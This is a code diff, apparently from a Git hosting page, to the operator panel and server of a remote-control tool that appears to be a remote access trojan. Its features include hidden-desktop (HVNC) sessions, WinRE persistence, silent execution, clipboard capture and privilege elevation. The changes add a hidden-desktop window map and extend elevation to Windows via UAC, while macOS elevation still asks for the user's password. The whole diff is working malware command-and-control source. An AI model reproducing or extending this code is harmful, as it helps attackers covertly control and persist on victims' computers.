${wh > 20 && ww > 50 ? `<div class="px-1 py-0.5 text-[9px] font-mono text-slate-200 truncate" style="background:${color}50;">${escHtml(shortTitle)}</div>` : ""}
|
||||||
|
</div>`;
|
||||||
|
}
|
||||||
|
|
||||||
|
windowMapCanvas.innerHTML = html;
|
||||||
|
|
||||||
|
let listHtml = `<div class="grid gap-1">
|
||||||
|
<div class="grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 px-2 py-1 text-[11px] uppercase tracking-wide text-slate-500 border-b border-slate-800">
|
||||||
|
<span></span><span>Title</span><span>Process</span><span>Position</span><span>Monitor</span>
|
||||||
|
</div>`;
|
||||||
|
|
||||||
|
for (let i = 0; i < windows.length; i++) {
|
||||||
|
const w = windows[i];
|
||||||
|
const color = WINDOW_COLORS[i % WINDOW_COLORS.length];
|
||||||
|
const monLabel = w.monitor >= 0 ? (monitors[w.monitor] ? (monitors[w.monitor].name || "#" + w.monitor) : "#" + w.monitor) : "—";
|
||||||
|
listHtml += `<div class="grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 items-center px-2 py-1.5 rounded hover:bg-slate-800/50 text-xs text-slate-300">
|
||||||
|
<span class="w-2.5 h-2.5 rounded-sm" style="background:${color};"></span>
|
||||||
|
<span class="truncate font-medium" title="${escHtml(w.title)}">${escHtml(w.title)}</span>
|
||||||
|
<span class="font-mono text-slate-400">${escHtml(w.processName)} <span class="text-slate-600">(${w.pid})</span></span>
|
||||||
|
<span class="font-mono text-slate-500">${w.x},${w.y} ${w.width}×${w.height}</span>
|
||||||
|
<span class="font-mono ${w.monitor >= 0 ? "text-slate-300" : "text-rose-400"}">${monLabel}</span>
|
||||||
|
</div>`;
|
||||||
|
}
|
||||||
|
listHtml += "</div>";
|
||||||
|
|
||||||
|
if (windows.length === 0) {
|
||||||
|
listHtml = '<div class="text-slate-500 text-xs text-center py-2">No visible windows on the hidden desktop</div>';
|
||||||
|
}
|
||||||
|
|
||||||
|
windowMapList.innerHTML = listHtml;
|
||||||
|
}
|
||||||
|
|
||||||
|
function escHtml(s) {
|
||||||
|
return s.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, """);
|
||||||
|
}
|
||||||
|
|
||||||
connectWs();
|
connectWs();
|
||||||
fetchClientInfo();
|
fetchClientInfo();
|
||||||
})();
|
})();
|
||||||
|
|||||||
@@ -253,8 +253,9 @@ function applyMenuSupportRules(clientId) {
|
|||||||
|
|
||||||
const elevateBtn = menu.querySelector('[data-action="elevate"]');
|
const elevateBtn = menu.querySelector('[data-action="elevate"]');
|
||||||
if (elevateBtn) {
|
if (elevateBtn) {
|
||||||
elevateBtn.style.display = platform === "mac" ? "" : "none";
|
const canElevate = platform === "mac" || platform === "windows";
|
||||||
if (platform === "mac") setAvailability(elevateBtn, isOnline, "Client is offline");
|
elevateBtn.style.display = canElevate ? "" : "none";
|
||||||
|
if (canElevate) setAvailability(elevateBtn, isOnline, "Client is offline");
|
||||||
}
|
}
|
||||||
|
|
||||||
setAvailability(menu.querySelector('[data-open="console"]'), isOnline, "Client is offline");
|
setAvailability(menu.querySelector('[data-open="console"]'), isOnline, "Client is offline");
|
||||||
@@ -1676,21 +1677,26 @@ menu.addEventListener("click", async (e) => {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (action === "elevate") {
|
if (action === "elevate") {
|
||||||
const password = prompt("Enter the user's macOS password for sudo elevation:");
|
const isMac = detectClientPlatform(contextCard) === "mac";
|
||||||
if (!password) {
|
let password = "";
|
||||||
closeMenu(clearContext);
|
if (isMac) {
|
||||||
return;
|
password = prompt("Enter the user's macOS password for sudo elevation:");
|
||||||
|
if (!password) {
|
||||||
|
closeMenu(clearContext);
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
|
const payload = { action: "elevate" };
|
||||||
|
if (password) payload.password = password;
|
||||||
const res = await fetch(`/api/clients/${contextCard}/command`, {
|
const res = await fetch(`/api/clients/${contextCard}/command`, {
|
||||||
method: "POST",
|
method: "POST",
|
||||||
headers: { "Content-Type": "application/json" },
|
headers: { "Content-Type": "application/json" },
|
||||||
body: JSON.stringify({ action: "elevate", password }),
|
body: JSON.stringify(payload),
|
||||||
});
|
});
|
||||||
const data = await res.json().catch(() => ({}));
|
const data = await res.json().catch(() => ({}));
|
||||||
if (data.ok) {
|
if (data.ok) {
|
||||||
alert(data.message || "Elevation successful — client will reconnect as root.");
|
alert(data.message || "Elevation successful — client will reconnect elevated.");
|
||||||
// Stagger thumbnail requests to catch the client after it reconnects
|
|
||||||
setTimeout(() => requestThumbnail(contextCard), 5000);
|
setTimeout(() => requestThumbnail(contextCard), 5000);
|
||||||
setTimeout(() => requestThumbnail(contextCard), 10000);
|
setTimeout(() => requestThumbnail(contextCard), 10000);
|
||||||
setTimeout(() => requestThumbnail(contextCard), 18000);
|
setTimeout(() => requestThumbnail(contextCard), 18000);
|
||||||
|
|||||||
@@ -47,7 +47,7 @@ const MENU_GROUPS = [
|
|||||||
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
|
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
|
||||||
{ label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" },
|
{ label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" },
|
||||||
{ divider: true },
|
{ divider: true },
|
||||||
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
|
{ label: "Elevate", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
|
||||||
{ divider: true },
|
{ divider: true },
|
||||||
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
|
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
|
||||||
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
|
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
|
||||||
|
|||||||
@@ -36,6 +36,9 @@
|
|||||||
<button id="killAllBtn" class="button ghost" title="Kill all programs running on the hidden desktop">
|
<button id="killAllBtn" class="button ghost" title="Kill all programs running on the hidden desktop">
|
||||||
<i class="fa-solid fa-skull"></i><span>Kill All</span>
|
<i class="fa-solid fa-skull"></i><span>Kill All</span>
|
||||||
</button>
|
</button>
|
||||||
|
<button id="windowMapBtn" class="button ghost" title="Show window positions and monitor layout">
|
||||||
|
<i class="fa-solid fa-map"></i><span>Window Map</span>
|
||||||
|
</button>
|
||||||
<button id="fullscreenBtn" class="button ghost">
|
<button id="fullscreenBtn" class="button ghost">
|
||||||
<i class="fa-solid fa-expand"></i><span>Fullscreen</span>
|
<i class="fa-solid fa-expand"></i><span>Fullscreen</span>
|
||||||
</button>
|
</button>
|
||||||
@@ -292,8 +295,21 @@
|
|||||||
<div id="installedAppsLoading" class="px-3 py-3 text-xs text-slate-500 text-center">
|
<div id="installedAppsLoading" class="px-3 py-3 text-xs text-slate-500 text-center">
|
||||||
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Loading apps…
|
<i class="fa-solid fa-spinner fa-spin mr-1"></i>Loading apps…
|
||||||
</div>
|
</div>
|
||||||
<div id="installedAppsList" class="hidden max-h-[280px] overflow-y-auto px-1.5 pb-1.5">
|
<div id="installedAppsList" class="hidden px-1.5 pb-1.5">
|
||||||
<div class="grid grid-cols-1 gap-0.5" id="installedAppsGrid"></div>
|
<div class="px-1 pt-1 pb-1.5 sticky top-0 bg-slate-900/95 backdrop-blur">
|
||||||
|
<div class="relative">
|
||||||
|
<i class="fa-solid fa-magnifying-glass absolute left-2 top-1/2 -translate-y-1/2 text-[10px] text-slate-500"></i>
|
||||||
|
<input id="installedAppsSearch" type="text" placeholder="Search apps…" autocomplete="off" spellcheck="false"
|
||||||
|
class="w-full text-xs bg-slate-950/70 border border-slate-700/60 rounded pl-6 pr-6 py-1 text-slate-200 placeholder-slate-500 focus:outline-none focus:border-violet-500/50" />
|
||||||
|
<button type="button" id="installedAppsSearchClear" class="hidden absolute right-1.5 top-1/2 -translate-y-1/2 text-[10px] text-slate-500 hover:text-slate-300" title="Clear">
|
||||||
|
<i class="fa-solid fa-xmark"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div id="installedAppsEmpty" class="hidden text-[10px] text-slate-500 text-center pt-1.5">No matching apps</div>
|
||||||
|
</div>
|
||||||
|
<div id="installedAppsScroll" class="max-h-[260px] overflow-y-auto">
|
||||||
|
<div class="grid grid-cols-1 gap-0.5" id="installedAppsGrid"></div>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<style>
|
<style>
|
||||||
@@ -334,17 +350,17 @@
|
|||||||
font-size: 0.65rem;
|
font-size: 0.65rem;
|
||||||
color: #94a3b8;
|
color: #94a3b8;
|
||||||
}
|
}
|
||||||
#installedAppsList::-webkit-scrollbar {
|
#installedAppsScroll::-webkit-scrollbar {
|
||||||
width: 6px;
|
width: 6px;
|
||||||
}
|
}
|
||||||
#installedAppsList::-webkit-scrollbar-track {
|
#installedAppsScroll::-webkit-scrollbar-track {
|
||||||
background: transparent;
|
background: transparent;
|
||||||
}
|
}
|
||||||
#installedAppsList::-webkit-scrollbar-thumb {
|
#installedAppsScroll::-webkit-scrollbar-thumb {
|
||||||
background: #334155;
|
background: #334155;
|
||||||
border-radius: 3px;
|
border-radius: 3px;
|
||||||
}
|
}
|
||||||
#installedAppsList::-webkit-scrollbar-thumb:hover {
|
#installedAppsScroll::-webkit-scrollbar-thumb:hover {
|
||||||
background: #475569;
|
background: #475569;
|
||||||
}
|
}
|
||||||
.installed-app-btn {
|
.installed-app-btn {
|
||||||
@@ -391,6 +407,30 @@
|
|||||||
</div>
|
</div>
|
||||||
</main>
|
</main>
|
||||||
|
|
||||||
|
<!-- Window Map Modal -->
|
||||||
|
<div id="windowMapModal" class="fixed inset-0 z-[100] items-center justify-center bg-black/60 backdrop-blur-sm" style="display:none;">
|
||||||
|
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl w-[90vw] max-w-[900px] max-h-[85vh] flex flex-col">
|
||||||
|
<div class="flex items-center justify-between px-5 py-3 border-b border-slate-800">
|
||||||
|
<div class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-map text-violet-400"></i>
|
||||||
|
<span class="text-base font-semibold text-slate-100">Window Map</span>
|
||||||
|
</div>
|
||||||
|
<div class="flex items-center gap-2">
|
||||||
|
<button id="windowMapRefreshBtn" class="button ghost text-xs" title="Refresh window list">
|
||||||
|
<i class="fa-solid fa-arrows-rotate"></i> Refresh
|
||||||
|
</button>
|
||||||
|
<button id="windowMapCloseBtn" class="button ghost text-xs">
|
||||||
|
<i class="fa-solid fa-xmark"></i>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="flex-1 overflow-auto p-5 flex flex-col gap-4">
|
||||||
|
<div id="windowMapCanvas" class="relative w-full bg-slate-950 rounded-lg border border-slate-800 overflow-hidden" style="min-height: 200px;"></div>
|
||||||
|
<div id="windowMapList" class="flex flex-col gap-1 text-sm"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
|
<script defer src="/vendor/msgpackr/msgpackr.js"></script>
|
||||||
<script defer src="/assets/remotedesktop-settings-menu.js"></script>
|
<script defer src="/assets/remotedesktop-settings-menu.js"></script>
|
||||||
<script type="module" src="/assets/nav.js"></script>
|
<script type="module" src="/assets/nav.js"></script>
|
||||||
|
|||||||
@@ -98,6 +98,7 @@ import {
|
|||||||
handleHVNCInstalledAppsResult,
|
handleHVNCInstalledAppsResult,
|
||||||
handleHVNCDXGIStatus,
|
handleHVNCDXGIStatus,
|
||||||
handleHVNCBrowserLaunchStatus,
|
handleHVNCBrowserLaunchStatus,
|
||||||
|
handleHVNCWindowListResult,
|
||||||
handleClipboardContent,
|
handleClipboardContent,
|
||||||
handleWebrtcP2PAnswer,
|
handleWebrtcP2PAnswer,
|
||||||
handleWebrtcP2PIce,
|
handleWebrtcP2PIce,
|
||||||
@@ -687,6 +688,7 @@ async function startServer() {
|
|||||||
handleHVNCInstalledAppsResult,
|
handleHVNCInstalledAppsResult,
|
||||||
handleHVNCDXGIStatus,
|
handleHVNCDXGIStatus,
|
||||||
handleHVNCBrowserLaunchStatus,
|
handleHVNCBrowserLaunchStatus,
|
||||||
|
handleHVNCWindowListResult,
|
||||||
handleClipboardContent,
|
handleClipboardContent,
|
||||||
handleWebrtcP2PAnswer,
|
handleWebrtcP2PAnswer,
|
||||||
handleWebrtcP2PIce,
|
handleWebrtcP2PIce,
|
||||||
|
|||||||
@@ -87,6 +87,10 @@ const PERMISSIONS = {
|
|||||||
description: "Change server-level settings (TLS, security, registration, notifications, appearance, etc.)",
|
description: "Change server-level settings (TLS, security, registration, notifications, appearance, etc.)",
|
||||||
roles: ["admin"],
|
roles: ["admin"],
|
||||||
},
|
},
|
||||||
|
"clients:elevate": {
|
||||||
|
description: "Elevate agent privileges (UAC on Windows, sudo on macOS)",
|
||||||
|
roles: ["admin"],
|
||||||
|
},
|
||||||
"clients:winre": {
|
"clients:winre": {
|
||||||
description: "Install or uninstall WinRE persistence on clients",
|
description: "Install or uninstall WinRE persistence on clients",
|
||||||
roles: ["admin"],
|
roles: ["admin"],
|
||||||
|
|||||||
@@ -878,16 +878,13 @@ export async function handleClientRoutes(
|
|||||||
});
|
});
|
||||||
} else if (action === "elevate") {
|
} else if (action === "elevate") {
|
||||||
try {
|
try {
|
||||||
requirePermission(user, "clients:silent-exec");
|
requirePermission(user, "clients:elevate");
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
if (error instanceof Response) return error;
|
if (error instanceof Response) return error;
|
||||||
return new Response("Forbidden", { status: 403 });
|
return new Response("Forbidden", { status: 403 });
|
||||||
}
|
}
|
||||||
|
|
||||||
const password = typeof body?.password === "string" ? body.password : "";
|
const password = typeof body?.password === "string" ? body.password : "";
|
||||||
if (!password) {
|
|
||||||
return new Response("Bad request: password required", { status: 400 });
|
|
||||||
}
|
|
||||||
|
|
||||||
const cmdId = uuidv4();
|
const cmdId = uuidv4();
|
||||||
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||||
@@ -914,7 +911,7 @@ export async function handleClientRoutes(
|
|||||||
action: AuditAction.COMMAND,
|
action: AuditAction.COMMAND,
|
||||||
targetClientId: targetId,
|
targetClientId: targetId,
|
||||||
success: true,
|
success: true,
|
||||||
details: "elevate (sudo)",
|
details: "elevate",
|
||||||
});
|
});
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
|||||||
@@ -157,6 +157,7 @@ type WsLifecycleDeps = {
|
|||||||
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||||
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
|
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
|
||||||
|
handleHVNCWindowListResult: (clientId: string, payload: any) => void;
|
||||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||||
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
||||||
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
||||||
@@ -733,6 +734,9 @@ export async function handleWebSocketMessage(
|
|||||||
case "hvnc_browser_launch_status":
|
case "hvnc_browser_launch_status":
|
||||||
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
|
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
|
||||||
break;
|
break;
|
||||||
|
case "hvnc_window_list_result":
|
||||||
|
deps.handleHVNCWindowListResult(client.id, payload);
|
||||||
|
break;
|
||||||
case "clipboard_content":
|
case "clipboard_content":
|
||||||
deps.handleClipboardContent(client.id, payload);
|
deps.handleClipboardContent(client.id, payload);
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -806,6 +806,47 @@ export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function handleHVNCWindowListResult(clientId: string, payload: any) {
|
||||||
|
const windows: Array<{
|
||||||
|
title: string; x: number; y: number; width: number; height: number;
|
||||||
|
pid: number; processName: string; monitor: number;
|
||||||
|
}> = [];
|
||||||
|
if (Array.isArray(payload.windows)) {
|
||||||
|
for (const w of payload.windows) {
|
||||||
|
windows.push({
|
||||||
|
title: String(w.title || ""),
|
||||||
|
x: Number(w.x) || 0,
|
||||||
|
y: Number(w.y) || 0,
|
||||||
|
width: Number(w.width) || 0,
|
||||||
|
height: Number(w.height) || 0,
|
||||||
|
pid: Number(w.pid) || 0,
|
||||||
|
processName: String(w.processName || ""),
|
||||||
|
monitor: Number(w.monitor ?? -1),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
const monitors: Array<{
|
||||||
|
index: number; name: string; x: number; y: number;
|
||||||
|
width: number; height: number; primary: boolean;
|
||||||
|
}> = [];
|
||||||
|
if (Array.isArray(payload.monitors)) {
|
||||||
|
for (const m of payload.monitors) {
|
||||||
|
monitors.push({
|
||||||
|
index: Number(m.index) || 0,
|
||||||
|
name: String(m.name || ""),
|
||||||
|
x: Number(m.x) || 0,
|
||||||
|
y: Number(m.y) || 0,
|
||||||
|
width: Number(m.width) || 0,
|
||||||
|
height: Number(m.height) || 0,
|
||||||
|
primary: !!m.primary,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||||
|
safeSendViewer(session.viewer, { type: "hvnc_window_list_result", windows, monitors });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
export function handleClipboardContent(clientId: string, payload: any) {
|
export function handleClipboardContent(clientId: string, payload: any) {
|
||||||
const text = String(payload.text || "");
|
const text = String(payload.text || "");
|
||||||
const source = String(payload.source || "");
|
const source = String(payload.source || "");
|
||||||
@@ -1092,6 +1133,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
case "hvnc_installed_apps":
|
case "hvnc_installed_apps":
|
||||||
sendHVNCCommand(target, "hvnc_installed_apps", {});
|
sendHVNCCommand(target, "hvnc_installed_apps", {});
|
||||||
break;
|
break;
|
||||||
|
case "hvnc_window_list":
|
||||||
|
sendHVNCCommand(target, "hvnc_window_list", {});
|
||||||
|
break;
|
||||||
case "hvnc_start_process":
|
case "hvnc_start_process":
|
||||||
sendHVNCCommand(target, "hvnc_start_process", {
|
sendHVNCCommand(target, "hvnc_start_process", {
|
||||||
path: String(payload.path || ""),
|
path: String(payload.path || ""),
|
||||||
|
|||||||
@@ -37,6 +37,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
|||||||
"hvnc_installed_apps_result",
|
"hvnc_installed_apps_result",
|
||||||
"hvnc_dxgi_status",
|
"hvnc_dxgi_status",
|
||||||
"hvnc_browser_launch_status",
|
"hvnc_browser_launch_status",
|
||||||
|
"hvnc_window_list_result",
|
||||||
"clipboard_content",
|
"clipboard_content",
|
||||||
"proxy_data",
|
"proxy_data",
|
||||||
"proxy_close",
|
"proxy_close",
|
||||||
|
|||||||
Reference in New Issue
Block a user